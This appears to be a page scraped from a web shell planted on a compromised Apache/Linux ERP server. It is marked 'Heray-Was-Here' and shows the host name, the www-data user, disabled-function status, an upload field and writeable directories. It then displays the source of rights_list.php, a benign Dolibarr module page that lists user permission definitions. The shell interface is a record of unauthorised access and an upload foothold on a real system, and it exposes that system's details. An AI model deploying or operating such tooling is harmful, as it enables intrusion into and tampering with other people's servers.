Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/erp/htdocs/custom/menuconfighelper/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/erp/htdocs/custom/menuconfighelper/admin/rights_list.php
<?php
/* Copyright (C) 2008-2015	Laurent Destailleur     <eldy@users.sourceforge.net>
 * Copyright (C) 2011		Regis Houssin           <regis.houssin@capnetworks.com>
 * Copyright (C) 2011-2013  Juanjo Menent           <jmenent@2byte.es>
 * Copyright (C) 2015		Jean-François Ferry		<jfefe@aternatik.fr>
 * Copyright (C) 2017		Open-DSI        		<support@open-dsi.fr>
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see <http://www.gnu.org/licenses/>.
 */

/**
 *	    \file       htdocs/menuconfighelper/admin/admin.php
 *      \ingroup    menuconfighelper
 *      \brief      menuconfighelper module setup page
 */

// Dolibarr environment
$res=0;
if (! $res && file_exists("../../main.inc.php")) $res=@include("../../main.inc.php");		// For root directory
if (! $res && file_exists("../../../main.inc.php")) $res=@include("../../../main.inc.php");	// For "custom" directory
require_once DOL_DOCUMENT_ROOT."/core/lib/admin.lib.php";
dol_include_once("/menuconfighelper/lib/menuconfighelper.lib.php");

$langs->load("admin");
$langs->load("errors");
$langs->load('other');
$langs->load("cron");
$langs->load("menuconfighelper@menuconfighelper");

if (! $user->admin) accessforbidden();

$action = GETPOST('action','alpha');
$value = GETPOST('value','alpha');

/*
 * Actions
 */

/*
 * Affiche page
 */

$rights = array();

$sql = "SELECT *";
$sql.= " FROM ".MAIN_DB_PREFIX."rights_def as r";
$sql.= " WHERE r.libelle NOT LIKE 'tou%'";    // On ignore droits "tous"
$sql.= " AND r.entity = ".((! empty($conf->multicompany->enabled) && ! empty($user->entity)) ? $user->entity : $conf->entity);
if (empty($conf->global->MAIN_USE_ADVANCED_PERMS)) $sql.= " AND r.perms NOT LIKE '%_advance'";  // Hide advanced perms if option is disable
$sql.= " ORDER BY r.module, r.id";

$result=$db->query($sql);
if ($result) {
    while ($obj = $db->fetch_object($result)) {
        $rights[$obj->id] = $obj;
    }
    $db->free($result);
} else {
    dol_print_error($db);
}

$modules = menuconfighelper_load_modules($conf->entity);

llxHeader('',$langs->trans("MenuConfigHelperSetup"));

$linkback='<a href="'.DOL_URL_ROOT.'/admin/modules.php">'.$langs->trans("BackToModuleList").'</a>';
print load_fiche_titre($langs->trans("MenuConfigHelperSetup"),$linkback,'title_setup');

$head = menuconfighelper_prepare_head();

print '<br>';
dol_fiche_head($head, 'rights_list', $langs->trans("MenuConfigHelperRightsList"), 0, 'opendsi@menuconfighelper');

/*
 *  Parameters
 */
print '<br>';

$var=true;
print "<table class=\"noborder\" width=\"100%\">\n";
print "<tr class=\"liste_titre\">\n";
print "  <td>".$langs->trans("Module")."</td>\n";
print "  <td>".$langs->trans("Rights")."</td>\n";
print "  <td>".$langs->trans("Value")."</td>\n";
print "</tr>\n";

$oldMod = '';
foreach ($rights as $right) {
    $module = $modules[$right->module];
    if ($oldMod <> $right->module) {
        $var = !$var;
        $oldMod = $right->module;
    }
    $picto=($module->picto?$module->picto:'generic');
    $module_name = $module->getName();
    $perm_libelle=($conf->global->MAIN_USE_ADVANCED_PERMS && ($langs->transnoentities("PermissionAdvanced".$right->id)!=("PermissionAdvanced".$right->id))?$langs->transnoentities("PermissionAdvanced".$right->id):(($langs->transnoentities("Permission".$right->id)!=("Permission".$right->id))?$langs->transnoentities("Permission".$right->id):$langs->transnoentities($right->libelle)));
    $rigth_path = '$user->rights->' . $right->module . '->' . $right->perms . (!empty($right->subperms) ? '->' . $right->subperms : '');
    print "<tr ".$bc[$var].">\n  <td>".img_object('',$picto).' '.$module_name."</td>\n  <td>".$perm_libelle."</td>\n  <td>".$rigth_path."</td>\n</tr>\n";
}

print "</table>";

print '<br>';
llxFooter();

$db->close();

Hry